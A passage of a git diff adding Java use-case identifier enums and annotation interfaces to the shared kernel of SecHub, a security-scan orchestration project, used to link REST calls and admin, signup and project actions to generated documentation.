    + * So do not change the ordering light hearted! The main purpose why using + * enums here is to prevent manual managing unique identifiers via string + * constants. The enum will have always unique ids which can be used for + * documentation. + * + * @author Albert Tregnaghi + * + */ +public enum UseCaseIdentifier { + + /* + * The ordering of the enums is the ordering used for uniqueId calculation! So + * do not change the ordering lighthearded! + */ + + UC_SIGNUP, + + UC_ADMIN_LISTS_OPEN_USER_SIGNUPS, + + UC_ADMIN_ACCEPTS_SIGNUP, + + UC_ADMIN_LISTS_ALL_ACCEPTED_USERS, + + UC_USER_CREATES_JOB, + + UC_USER_UPLOADS_SOURCECODE, + + UC_USER_APPROVES_JOB, + + UC_SCHEDULER_STARTS_JOB, + + UC_USER_GET_JOB_STATUS, + + UC_USER_GET_JOB_REPORT, + + UC_USER_USES_CLIENT_TO_SCAN, + + UC_USER_CLICKS_LINK_TO_GET_NEW_API_TOKEN, + + UC_ADMIN_CREATES_PROJECT, + + UC_ADMIN_LISTS_ALL_PROJECTS, + + UC_ADMIN_ASSIGNS_USER_TO_PROJECT, + + UC_ADMIN_UNASSIGNS_USER_FROM_PROJECT, + + UC_ADMIN_SHOWS_USER_DETAILS, + + UC_ADMIN_DELETES_USER, + + UC_ADMIN_DELETES_SIGNUP, + + UC_ADMIN_DELETES_PROJECT, + + UC_ADMIN_SHOWS_PROJECT_DETAILS, + + + UC_UPDATE_PROJECT_WHITELIST, + + UC_ADMIN_LISTS_ALL_RUNNING_JOBS, + + UC_USER_REQUESTS_NEW_APITOKEN, + + UC_USER_SHOWS_PROJECT_SCAN_INFO, + + UC_ADMIN_DOWNLOADS_FULL_DETAILS_ABOUT_SCAN_JOB, + + UC_ADMIN_GRANTS_ADMIN_RIGHT_TO_ANOTHER_USER, + + UC_ADMIN_REVOKES_ADMIN_RIGHTS_FROM_ANOTHER_ADMIN, + + UC_ADMIN_LISTS_ALL_ADMINS, + + ; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Helpers ................................+ */ + /* +-----------------------------------------------------------------------+ */ + + private String uniqueId; + + public String uniqueId() { + return uniqueId; + } + + private static final int WANTED_ID_LENGTH = 3; + private static int counter; + + private UseCaseIdentifier() { + this.uniqueId = createUseCaseID(); + } + + private static String createUseCaseID() { + counter++; + StringBuilder sb = new StringBuilder(); + + sb.append(counter); + while (sb.length() < WANTED_ID_LENGTH) { + sb.insert(0, "0"); + } + + sb.insert(0, "UC_"); + return sb.toString(); + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseRestDoc.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseRestDoc.java new file mode 100644 index 0000000000..2a36adf7c6 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseRestDoc.java @@ -0,0 +1,84 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases; + +import java.io.File; +import java.lang.annotation.Annotation; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * A RestDoc defines a rest call association to an usecase! Define this + * annotation to your test case method inside a junit test which is annotated + * with spring AutoConfigureRestDocs annotation and it will automatically appear + * inside documentation - with linking to and from dedicated use case. + * + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface UseCaseRestDoc { + + public static final String DEFAULT_VARIANT = "default"; + + /** + * Must be an annotation class which itself is annoted with + * {@link UseCaseDefinition}. There is raw type {@link Annotation} used because + * of java 8 lack of expression. + * + * @return usecase annotation class this rest call is associated + */ + Class useCase(); + + /** + * A variant defines a special case of rest doc (e.g. when a report is generated + * and it has a JSON adn HTML variant you can use the variant flag to identify + * it and force splitting inside documentation) When not Defined + * {@link RestDocPathFactory#DEFAULTVARIANT} is used. + * + * @return + */ + String variant() default DEFAULT_VARIANT; + + /** + * Defines the output files from spring rest doc wanted for generation. The + * ordering is also the ordering in output files! + * + * @return + */ + SpringRestDocOutput[] wanted() default { + /* @formatter:off */ + SpringRestDocOutput.PATH_PARAMETERS, + + SpringRestDocOutput.REQUEST_FIELDS, + + SpringRestDocOutput.RESPONSE_FIELDS, + + SpringRestDocOutput.CURL_REQUEST + }; + + public enum SpringRestDocOutput{ + CURL_REQUEST("curl-request.adoc"), + HTTP_REQUEST("http-request.adoc"), + HTTP_RESPONSE("http-response.adoc"), + HTTPIE_REQUEST("httpie-request.adoc"), + REQUEST_BODY("request-body.adoc"), + REQUEST_FIELDS("request-fields.adoc"), + RESPONSE_BODY("request-body.adoc"), + RESPONSE_FIELDS("response-fields.adoc"), + PATH_PARAMETERS("path-parameters.adoc") + ; + /* @formatter:on */ + + private String wantedFileName; + + SpringRestDocOutput(String fileName) { + this.wantedFileName = fileName; + } + + public boolean isWanted(File file) { + return file.getName().equals(wantedFileName); + } + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorCreatesProject.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorCreatesProject.java new file mode 100644 index 0000000000..39a7ca7b70 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorCreatesProject.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.project; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_CREATES_PROJECT, + group=UseCaseGroup.PROJECT_ADMINISTRATION, + title="Admin creates a project", + description="project/admin_creates_project.adoc") +public @interface UseCaseAdministratorCreatesProject { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorDeleteProject.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorDeleteProject.java new file mode 100644 index 0000000000..270a20e75f --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorDeleteProject.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.project; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_DELETES_PROJECT, + group=UseCaseGroup.PROJECT_ADMINISTRATION, + title="Admin deletes a project", + description="project/admin_deletes_project.adoc") +public @interface UseCaseAdministratorDeleteProject { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorDownloadsFullScanDataForJob.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorDownloadsFullScanDataForJob.java new file mode 100644 index 0000000000..8c09fcadda --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorDownloadsFullScanDataForJob.java @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.project; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_DOWNLOADS_FULL_DETAILS_ABOUT_SCAN_JOB, + group=UseCaseGroup.USER_ADMINISTRATION, + title="Admin downloads all details about a scan job", + description="An administrator downloads a zip file containing full details of a scan. "+ + "Main reason for this use case is for debugging when there are problems with security products."+ + "Another reason is for developers to adopt new security products easier." + ) +public @interface UseCaseAdministratorDownloadsFullScanDataForJob { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorListsAllProjects.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorListsAllProjects.java new file mode 100644 index 0000000000..15fac9f19a --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorListsAllProjects.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.project; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_LISTS_ALL_PROJECTS, + group=UseCaseGroup.PROJECT_ADMINISTRATION, + title="Admin lists all projects", + description="An administrator downloads a json file containing all project ids") +public @interface UseCaseAdministratorListsAllProjects { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorShowsProjectDetails.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorShowsProjectDetails.java new file mode 100644 index 0000000000..3e72920752 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorShowsProjectDetails.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.project; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_SHOWS_PROJECT_DETAILS, + group=UseCaseGroup.USER_ADMINISTRATION, + title="Admin shows project details", + description="An administrator downloads a json file containing json with project details") +public @interface UseCaseAdministratorShowsProjectDetails { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorShowsScanLogsForProject.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorShowsScanLogsForProject.java new file mode 100644 index 0000000000..c3a06b2677 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseAdministratorShowsScanLogsForProject.java @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.project; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_USER_SHOWS_PROJECT_SCAN_INFO, + group=UseCaseGroup.PROJECT_ADMINISTRATION, + title="Admin shows scan logs for project", + description="An admin downloads a json file containing log for scans of project" + ) +public @interface UseCaseAdministratorShowsScanLogsForProject { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseUpdateProjectWhitelist.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseUpdateProjectWhitelist.java new file mode 100644 index 0000000000..2976385601 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/project/UseCaseUpdateProjectWhitelist.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.project; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_UPDATE_PROJECT_WHITELIST, + group=UseCaseGroup.PROJECT_ADMINISTRATION, + title="Update project whitelist", + description="project/admin_creates_project.adoc") +public @interface UseCaseUpdateProjectWhitelist { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/signup/UseCaseAdministratorAcceptsSignup.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/signup/UseCaseAdministratorAcceptsSignup.java new file mode 100644 index 0000000000..1fb2236397 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/signup/UseCaseAdministratorAcceptsSignup.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.signup; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( +id = UseCaseIdentifier.UC_ADMIN_ACCEPTS_SIGNUP, +group = UseCaseGroup.SIGN_UP, +title = "Admin applies self registration", +description = "In this usecase the administrator will accept the self registration done by an user.") +public @interface UseCaseAdministratorAcceptsSignup { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/signup/UseCaseAdministratorDeletesSignup.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/signup/UseCaseAdministratorDeletesSignup.java new file mode 100644 index 0000000000..c100c2fbe5 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/signup/UseCaseAdministratorDeletesSignup.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.signup; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +@Target(ElementType.METHOD) +/* @formatter:off */ +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_DELETES_SIGNUP, + group=UseCaseGroup.SIGN_UP, + title="Admin deletes user signup", + description="In this usecase the administrator will not accept the self registration done by an user but delete the entry.") +public @interface UseCaseAdministratorDeletesSignup { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/signup/UseCaseAdministratorListsOpenUserSignups.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/signup/UseCaseAdministratorListsOpenUserSignups.java new file mode 100644 index 0000000000..9d28543437 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/signup/UseCaseAdministratorListsOpenUserSignups.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.signup; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_LISTS_OPEN_USER_SIGNUPS, + group=UseCaseGroup.SIGN_UP, + title="Admin lists open user signups", + description="In this usecase the administrator will list the currently unapplied user self registrations/signups.") +public @interface UseCaseAdministratorListsOpenUserSignups { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorAssignsUserToProject.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorAssignsUserToProject.java new file mode 100644 index 0000000000..0390725a19 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorAssignsUserToProject.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.user; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_ASSIGNS_USER_TO_PROJECT, + group=UseCaseGroup.USER_ADMINISTRATION, + title="Admin assigns user to project", + description="An administrator assigns an user to an existing sechub project.") +public @interface UseCaseAdministratorAssignsUserToProject { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorDeletesUser.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorDeletesUser.java new file mode 100644 index 0000000000..2e5e993771 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorDeletesUser.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.user; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +@Target(ElementType.METHOD) +/* @formatter:off */ +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_DELETES_USER, + group=UseCaseGroup.USER_ADMINISTRATION, + title="Admin deletes a user", + description="An administrator deletes an user. All associations etc. are removed as well") +public @interface UseCaseAdministratorDeletesUser { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorGrantsAdminRightsToUser.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorGrantsAdminRightsToUser.java new file mode 100644 index 0000000000..2a9ef824d2 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorGrantsAdminRightsToUser.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.user; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_GRANTS_ADMIN_RIGHT_TO_ANOTHER_USER, + group=UseCaseGroup.USER_ADMINISTRATION, + title="Admin grants admin rights to user", + description="An administrator grants admin rights to another user. So this user will become also an administrator.") +public @interface UseCaseAdministratorGrantsAdminRightsToUser { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorListsAllAdmins.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorListsAllAdmins.java new file mode 100644 index 0000000000..727441ef7e --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorListsAllAdmins.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.user; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_LISTS_ALL_ADMINS, + group=UseCaseGroup.USER_ADMINISTRATION, + title="Admin lists all admins", + description="An administrator downloads a json file containing all names of sechub admins") +public @interface UseCaseAdministratorListsAllAdmins { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorListsAllUsers.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorListsAllUsers.java new file mode 100644 index 0000000000..fc89f54476 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorListsAllUsers.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.user; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_LISTS_ALL_ACCEPTED_USERS, + group=UseCaseGroup.USER_ADMINISTRATION, + title="Admin lists all users", + description="An administrator downloads a json file containing all user ids") +public @interface UseCaseAdministratorListsAllUsers { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorRevokesAdminRightsFromAdmin.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorRevokesAdminRightsFromAdmin.java new file mode 100644 index 0000000000..b6e3bd8edd --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorRevokesAdminRightsFromAdmin.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.user; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_REVOKES_ADMIN_RIGHTS_FROM_ANOTHER_ADMIN, + group=UseCaseGroup.USER_ADMINISTRATION, + title="Admin revokes admin rights from an admin", + description="An administrator revokes existing admin rights from another administrator.") +public @interface UseCaseAdministratorRevokesAdminRightsFromAdmin { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorShowsUserDetails.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorShowsUserDetails.java new file mode 100644 index 0000000000..ed87a0c2e9 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorShowsUserDetails.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.user; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_SHOWS_USER_DETAILS, + group=UseCaseGroup.USER_ADMINISTRATION, + title="Admin shows user details", + description="An administrator downloads a json file containing json containing user details") +public @interface UseCaseAdministratorShowsUserDetails { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorUnassignsUserFromProject.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorUnassignsUserFromProject.java new file mode 100644 index 0000000000..bb8ab4da24 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/admin/user/UseCaseAdministratorUnassignsUserFromProject.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.admin.user; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +/* @formatter:on */ +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_UNASSIGNS_USER_FROM_PROJECT, + group= {UseCaseGroup.USER_ADMINISTRATION,UseCaseGroup.PROJECT_ADMINISTRATION}, + title="Admin unassigns user from project", + description="An administrator unassigns an user from a sechub project.") +public @interface UseCaseAdministratorUnassignsUserFromProject { + + 